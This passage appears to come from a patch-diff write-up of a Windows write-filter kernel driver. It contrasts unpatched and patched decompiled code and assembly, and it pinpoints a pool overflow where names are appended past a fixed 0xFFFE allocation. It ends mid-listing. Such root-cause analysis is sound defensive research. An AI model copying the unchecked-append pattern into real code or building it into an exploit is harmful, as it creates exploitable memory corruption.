&lt;h4&gt;&lt;code&gt;FbwfCheckAndTranslateVolumeName&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;Focus: inlined length loop vs. RtlInitUnicodeString — equivalent behavior.&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED (0x1C000EA7C)&lt;/span&gt;
&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// wcslen: scans until null wchar&lt;/span&gt;
&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len_bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len_bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;


&lt;span class="c1"&gt;// PATCHED (FbwfCheckAndTranslateVolumeName @ 0x14000DD6C)&lt;/span&gt;
&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;vname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// internally the same unbounded null scan&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len_bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vname&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len_bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// Same scan, same 0x80 check, same downstream path. No behavioral difference.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;DirTreeNode::AddDirEntry&lt;/code&gt; (directory-entry name-construction path)&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;Focus: fixed-size allocation with an unaccounted name append vs. exact pre-measured sizing.&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED (0x1C00112D0)&lt;/span&gt;
&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// fixed size&lt;/span&gt;
&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FbwfGetCurrentPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// fill path, bounded to 0xFFFE&lt;/span&gt;
&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;// r14 = end of path&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// NO check path_len+name_len+2 &amp;lt;= 0xFFFE&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;write_through_entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wt_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wcslen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;write_through_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write_through_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wt_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// NO check path_len+wt_len+2 &amp;lt;= 0xFFFE&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// the path can fill the fixed buffer, so the name/write-through append writes past it.&lt;/span&gt;


&lt;span class="c1"&gt;// PATCHED (DirTreeNode::AddDirEntry @ 0x140013E0C)&lt;/span&gt;
&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FbwfGetCurrentPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// measure only&lt;/span&gt;
&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_name_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write_through_name_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// account for the appended name&lt;/span&gt;
&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x102&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// exact size&lt;/span&gt;
&lt;span class="c1"&gt;// ... then fill path and copy the name(s) into a buffer that fits.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;h4&gt;&lt;code&gt;FbwfGenerateFileName&lt;/code&gt; Fixed Allocation vs. Sized Allocation&lt;/h4&gt;
&lt;p&gt;The unpatched build pins the allocation at &lt;code&gt;0xFFFE&lt;/code&gt; and later appends the stream without adjusting for it; the patched build folds the stream length into the size before allocating.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C0001E4D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fixed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001E53&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;FFFEh&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fixed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001E61&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001E8F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001E94&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_len&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001EAD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FbwfGetCurrentPath&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bounded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001EB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path_len&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001EB5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;present&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001ECF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dx&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1C0001E1C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x140002C21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;measure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;includes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;
&lt;span class="mh"&gt;0x140002C2F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FbwfGetCurrentPath&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;measure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt;
&lt;span class="mh"&gt;0x140002C42&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_40&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;volume_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path_len&lt;/span&gt;
